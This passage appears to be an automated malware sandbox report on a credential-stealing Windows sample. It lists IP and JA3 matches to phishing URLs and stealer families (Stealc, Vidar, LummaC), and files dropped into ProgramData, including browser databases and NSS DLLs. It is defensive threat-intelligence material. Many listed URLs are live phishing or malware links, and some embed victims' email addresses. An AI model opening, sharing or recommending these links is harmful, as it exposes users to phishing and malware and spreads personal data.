MICROSOFT-CORP-MSN-AS-BLOCKUS	https://l.e.expansion.com/rts/go2.aspx?h=1472587&tp=i-1NGB-A5-b00-1YXgaC-6v-X6KL-1c-1D5I0b-lAXcqWepVc-1yosex&pi=X3ChywZXQmNE8VeceGHlfotAef21gDzbhSQg1vZMQMU&x=%64%79%6E%61%6D%69%63%69%74%64%65%76%69%63%65%73%2E%63%6F%6D%2F%6A%6F%69%6B%64%6A%6D%65%75%65%2FFUDMSvpcJrwI1XV/YW5kcmV3Lm1hbnRlY29uQGZpcnN0b250YXJpby5jb20=	Get hash	malicious	HTMLPhisher	Browse	52.123.129.14
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	150.171.27.10
	https://carrier.businessappdevs.com/Baa9N	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse	13.107.246.51
	Ranger Steel Erectors Inc RFQ.eml (8.12 KB).msg	Get hash	malicious	HTMLPhisher	Browse	52.109.32.97
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	52.187.55.88
	http://www.cognitoforms.com/f/LoVi2fXPMEGZ3d_zXYkCcg/1	Get hash	malicious	Unknown	Browse	13.107.246.45
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://uxfol.io/p/b02d8c67/029f480a	Get hash	malicious	Unknown	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://l.e.expansion.com/rts/go2.aspx?h=1472587&tp=i-1NGB-A5-b00-1YXgaC-6v-X6KL-1c-1D5I0b-lAXcqWepVc-1yosex&pi=X3ChywZXQmNE8VeceGHlfotAef21gDzbhSQg1vZMQMU&x=%64%79%6E%61%6D%69%63%69%74%64%65%76%69%63%65%73%2E%63%6F%6D%2F%6A%6F%69%6B%64%6A%6D%65%75%65%2FFUDMSvpcJrwI1XV/YW5kcmV3Lm1hbnRlY29uQGZpcnN0b250YXJpby5jb20=	Get hash	malicious	HTMLPhisher	Browse	52.123.129.14
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	150.171.27.10
	https://carrier.businessappdevs.com/Baa9N	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse	13.107.246.51
	Ranger Steel Erectors Inc RFQ.eml (8.12 KB).msg	Get hash	malicious	HTMLPhisher	Browse	52.109.32.97
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	52.187.55.88
	http://www.cognitoforms.com/f/LoVi2fXPMEGZ3d_zXYkCcg/1	Get hash	malicious	Unknown	Browse	13.107.246.45
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://uxfol.io/p/b02d8c67/029f480a	Get hash	malicious	Unknown	Browse	13.107.246.45
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.185
	aba5298f.msi	Get hash	malicious	Unknown	Browse	23.222.241.147
	FW Cardenas Leslie shared Mathis IDS Remittance Copy with you.msg	Get hash	malicious	Unknown	Browse	2.16.241.80
	https://www.calameo.com/read/007794614fc42ee64ee87	Get hash	malicious	Unknown	Browse	23.215.21.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.221.22.211
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	23.221.22.207
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.221.22.213
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	23.15.178.88
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	2.16.164.19

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://drive.google.com/uc?export=download&id=1iaK9ppq5gLIgMAIIEMZ874KKXqw8TPYH	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Document-v17-10-27.js	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	2024-2025_Open Enrollment4402462144024621.pdf	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://virtual.urban-orthodontics.com	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://o000005496.photoshelter.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://arcalo.ru.com/#cathy.sekula@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://carrier.businessappdevs.com/Baa9N	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	Support.Client (1).exe	Get hash	malicious	ScreenConnect Tool	Browse	40.113.110.67 40.113.103.199
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67 40.113.103.199
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	40.113.110.67 40.113.103.199
	Factura de proforma.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67 40.113.103.199
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	40.113.110.67 40.113.103.199
	https://uxfol.io/p/b02d8c67/029f480a	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	40.113.110.67 40.113.103.199
	https://bonzibuddy.org/Bonzi.zip	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	https://wetransfer.com/downloads/dfae2da4024c0a427ba385707deb5ffa20240620022822/9659fc	Get hash	malicious	Unknown	Browse	40.113.110.67 40.113.103.199
	Company Profile_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	40.113.110.67 40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133
	ASmartService.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	52.168.112.66 172.67.174.133
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	52.168.112.66 172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	52.168.112.66 172.67.174.133

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFBAKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2673016148088108
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMLSA1LyKOMq+8iP5GDHP/0jMVumm6:Kq+n0JL91LyKOMq+8iP5GLP/036
MD5:	79A83F4BC2E38E0546084D14C551A3A7
SHA1:	AA151DEC84B3E49BDF56FFD868F1350C2C1D61C9
SHA-256:	3B14009F5E16C7C6D88D8230AA661B33CD73D67F35CFAE122DA1BEAA1BEA873F
SHA-512:	B9290DEC28D58E627DE934838AA74D75CBB5790BA6298B13271E0593A148A6F978FE10F05DA403A23FAFCD24FC8CB9BDE94F9926A28E32E2A79AEAF37245E6A4
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEHIJDAFBKFHIDGCFBFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAECFCAAECBGDGDHIEHJEBAAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDHDAAEHIEHIECBKJDGDBFBGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECBAFCAAKJDHJKFIEBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KKKJKEBKFCAAECAAAAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\425e60de02.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\825b8c66-7b1c-4b9a-a9c0-dec9da5ca9e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089746843903061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVdi1zNtPMCkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynjZkzItSmd6qE7lFoC
